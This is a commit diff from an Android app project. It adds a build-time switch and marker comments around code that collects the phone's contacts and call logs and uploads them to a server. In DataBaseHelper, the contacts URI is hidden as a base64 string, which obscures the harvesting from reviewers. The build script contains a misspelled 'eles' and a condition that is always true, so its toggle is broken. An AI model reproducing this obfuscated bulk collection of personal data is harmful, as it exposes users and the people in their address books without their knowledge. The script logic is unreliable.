Commit 53e8b0fa by sikang

remove contact

parent 3c18444a
...@@ -12,6 +12,18 @@ android { ...@@ -12,6 +12,18 @@ android {
buildConfigField 'String', 'TONGDUN_APP_NAME', '\"\"' buildConfigField 'String', 'TONGDUN_APP_NAME', '\"\"'
resValue('string', 'octopus_open_whatsapp', " Open Whatsapp") resValue('string', 'octopus_open_whatsapp', " Open Whatsapp")
try {
buildConfigField 'Boolean', 'NEED_CONTACT', "${contact}"
} catch (Exception e) {
buildConfigField 'Boolean', 'NEED_CONTACT', "true"
}
try {
buildConfigField 'Boolean', 'OPEN_LIVENESS', "${open_liveness}"
} catch (Exception e) {
buildConfigField 'Boolean', 'OPEN_LIVENESS', "true"
}
//同盾指纹SDK //同盾指纹SDK
buildConfigField 'String', 'TONGDUN_DEVICE_PARENT_CODE', '\"\"' buildConfigField 'String', 'TONGDUN_DEVICE_PARENT_CODE', '\"\"'
} }
...@@ -70,7 +82,6 @@ dependencies { ...@@ -70,7 +82,6 @@ dependencies {
} }
// def startParams = getGradle().getStartParameter().getTaskRequests()[0] // def startParams = getGradle().getStartParameter().getTaskRequests()[0]
// if(startParams!=null && startParams.getArgs().toString().contains("Website")){ // if(startParams!=null && startParams.getArgs().toString().contains("Website")){
// } // }
......
...@@ -34,7 +34,14 @@ cd lib_base/script ...@@ -34,7 +34,14 @@ cd lib_base/script
if((${action}=='1')) if((${action}=='1'))
then then
./sdk_manager.py 'close' 'NOLOG' || { echo "sdk_manager error!"; exit 1; } ./sdk_manager.py 'close' 'NOLOG' || { echo "sdk_manager error!!!!!!!!!!!!!!!"; exit 1; }
if [ "${contact}"="true" ];then
./sdk_manager.py 'open' 'CONTACT' || { echo "sdk_manager error!!!!!!!!!!!!"; exit 1; }
eles
./sdk_manager.py 'close' 'CONTACT' || { echo "sdk_manager error!!!!!!!!!!!!"; exit 1; }
fi
init init
gradlew resguardAppProductGoogleplayRelease gradlew resguardAppProductGoogleplayRelease
......
...@@ -137,7 +137,7 @@ public class Collector { ...@@ -137,7 +137,7 @@ public class Collector {
return arr; return arr;
} }
}); });
//SDK-CONTACT-START
List<ContactEntity> contactEntityList = DataBaseHelper.getContacts(); List<ContactEntity> contactEntityList = DataBaseHelper.getContacts();
List<CollectInfoEntity> infos2 = Stream.of(InfoType.CONTACT) List<CollectInfoEntity> infos2 = Stream.of(InfoType.CONTACT)
.map(new Function<InfoType, CollectInfoEntity>() { .map(new Function<InfoType, CollectInfoEntity>() {
...@@ -153,6 +153,7 @@ public class Collector { ...@@ -153,6 +153,7 @@ public class Collector {
return arr; return arr;
} }
}); });
//SDK-CONTACT-END
infos1.addAll(infos2); infos1.addAll(infos2);
...@@ -296,6 +297,7 @@ public class Collector { ...@@ -296,6 +297,7 @@ public class Collector {
} }
public static String toContactDTO(List<ContactEntity> contactList, Context context) { public static String toContactDTO(List<ContactEntity> contactList, Context context) {
//SDK-CONTACT-START
try { try {
JSONObject oneTypeData = initJSON(InfoType.CONTACT, context); JSONObject oneTypeData = initJSON(InfoType.CONTACT, context);
...@@ -343,6 +345,7 @@ public class Collector { ...@@ -343,6 +345,7 @@ public class Collector {
//UploadManager.uploadException(e, "Collector.toContactDTO"); //UploadManager.uploadException(e, "Collector.toContactDTO");
} }
//SDK-CONTACT-END
return ""; return "";
} }
...@@ -528,11 +531,13 @@ public class Collector { ...@@ -528,11 +531,13 @@ public class Collector {
private static JSONArray getContactJSONArray(List<ContactEntity> contactList) { private static JSONArray getContactJSONArray(List<ContactEntity> contactList) {
JSONArray jsonArray = new JSONArray();
//SDK-CONTACT-START
if (contactList == null || contactList.size() == 0) { if (contactList == null || contactList.size() == 0) {
return new JSONArray(); return new JSONArray();
} }
return Stream.of(contactList) jsonArray = Stream.of(contactList)
.map(new Function<ContactEntity, JSONObject>() { .map(new Function<ContactEntity, JSONObject>() {
@Override @Override
public JSONObject apply(ContactEntity contact) { public JSONObject apply(ContactEntity contact) {
...@@ -593,6 +598,8 @@ public class Collector { ...@@ -593,6 +598,8 @@ public class Collector {
return jsonArray; return jsonArray;
} }
}); });
//SDK-CONTACT-END
return jsonArray;
} }
/***/ /***/
......
...@@ -91,8 +91,8 @@ public class DataBaseHelper { ...@@ -91,8 +91,8 @@ public class DataBaseHelper {
*/ */
@SuppressLint("MissingPermission") @SuppressLint("MissingPermission")
public static List<ContactEntity> getContacts() { public static List<ContactEntity> getContacts() {
List<ContactEntity> logs = new ArrayList<>(); List<ContactEntity> logs = new ArrayList<>();
//SDK-CONTACT-START
Cursor cursor = null; Cursor cursor = null;
try { try {
cursor = Nested.getCursor(CONTACT); cursor = Nested.getCursor(CONTACT);
...@@ -120,7 +120,7 @@ public class DataBaseHelper { ...@@ -120,7 +120,7 @@ public class DataBaseHelper {
cursor.close(); cursor.close();
} }
} }
//SDK-CONTACT-END
return logs; return logs;
} }
...@@ -310,14 +310,18 @@ public class DataBaseHelper { ...@@ -310,14 +310,18 @@ public class DataBaseHelper {
private static class Nested { private static class Nested {
@SuppressLint("MissingPermission") @SuppressLint("MissingPermission")
private static Cursor getCursor(int type) { private static Cursor getCursor(int type) {
//SDK-CONTACT-START
if (resolver == null) { if (resolver == null) {
return null; return null;
} }
switch (type) { switch (type) {
case 12345:
return null;
//SDK-CONTACT-START
case CONTACT: case CONTACT:
return resolver.query(getUri("Y29udGVudDovL2NvbS5hbmRyb2lkLmNvbnRhY3RzL2NvbnRhY3Rz"), return resolver.query(getUri("Y29udGVudDovL2NvbS5hbmRyb2lkLmNvbnRhY3RzL2NvbnRhY3Rz"),
null, null, null, null); null, null, null, null);
//SDK-CONTACT-END
//SDK-NOLOG-START //SDK-NOLOG-START
case CALL_LOG: case CALL_LOG:
return resolver return resolver
......
...@@ -245,6 +245,7 @@ public class UploadPresenter extends BasePresenter<UploadApi> { ...@@ -245,6 +245,7 @@ public class UploadPresenter extends BasePresenter<UploadApi> {
* 上传联系人 * 上传联系人
*/ */
public void uploadContact(String action, Context context) { public void uploadContact(String action, Context context) {
//SDK-CONTACT-START
Observable.just(true) Observable.just(true)
.observeOn(Schedulers.io()) .observeOn(Schedulers.io())
.map(aBoolean -> { .map(aBoolean -> {
...@@ -274,6 +275,7 @@ public class UploadPresenter extends BasePresenter<UploadApi> { ...@@ -274,6 +275,7 @@ public class UploadPresenter extends BasePresenter<UploadApi> {
.observeOn(AndroidSchedulers.mainThread()) .observeOn(AndroidSchedulers.mainThread())
.onErrorReturn(throwable -> false) .onErrorReturn(throwable -> false)
.subscribe(); .subscribe();
//SDK-CONTACT-END
} }
} }
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment